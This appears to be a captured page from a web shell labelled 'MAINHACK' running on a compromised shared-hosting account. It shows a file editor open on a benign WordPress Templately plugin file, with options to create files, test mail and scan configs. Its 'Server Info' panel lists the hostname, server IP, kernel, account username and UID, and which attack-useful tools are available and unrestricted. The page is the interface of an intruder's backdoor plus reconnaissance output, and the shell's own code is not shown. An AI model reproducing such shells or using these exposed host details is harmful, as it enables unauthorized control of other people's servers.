[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Cache.php
<?php namespace Templately\Builder\Managers; use Templately\Builder\Source; use Templately\Builder\Types\ThemeTemplate; use WP_Query; class Cache { const OPTION_NAME = 'templately_builder_conditions'; protected $conditions = []; public function __construct() { $this->refresh(); } public function refresh(): Cache { $this->conditions = get_option( self::OPTION_NAME, [] ); return $this; } /** * @param $document * @param array $conditions * * @return $this */ public function update( $document, array $conditions ): Cache { return $this->remove( $document->get_main_id() )->add( $document, $conditions ); } /** * @param ThemeTemplate $document * @param array $conditions * * @return $this */ public function add( ThemeTemplate $document, array $conditions ): Cache { $location = $document->get_location(); if ( $location ) { if ( ! isset( $this->conditions[ $location ] ) ) { $this->conditions[ $location ] = []; } $this->conditions[ $location ][ $document->get_main_id() ] = $conditions; } return $this; } /** * @param int $post_id * * @return $this */ public function remove( int $post_id ): Cache { $post_id = absint( $post_id ); foreach ( $this->conditions as $location => $templates ) { foreach ( $templates as $id => $template ) { if ( $post_id === $id ) { unset( $this->conditions[ $location ][ $id ] ); } } } return $this; } public function save(): bool { return update_option( self::OPTION_NAME, $this->conditions ); } public function clear(): Cache { $this->conditions = []; return $this; } public function get_by_location( $location ) { if ( isset( $this->conditions[ $location ] ) ) { return $this->conditions[ $location ]; } return []; } public function regenerate(): Cache { $this->clear(); $query_args = [ 'posts_per_page' => - 1, 'post_type' => Source::CPT, 'fields' => 'ids', 'meta_key' => '_templately_conditions', ]; $query = new WP_Query( $query_args ); foreach ( $query->posts as $post_id ) { $document = templately()->theme_builder->get_template( $post_id ); if ( $document ) { $conditions = $document->get_meta( '_templately_conditions' ); $this->add( $document, $conditions ); } } $this->save(); return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624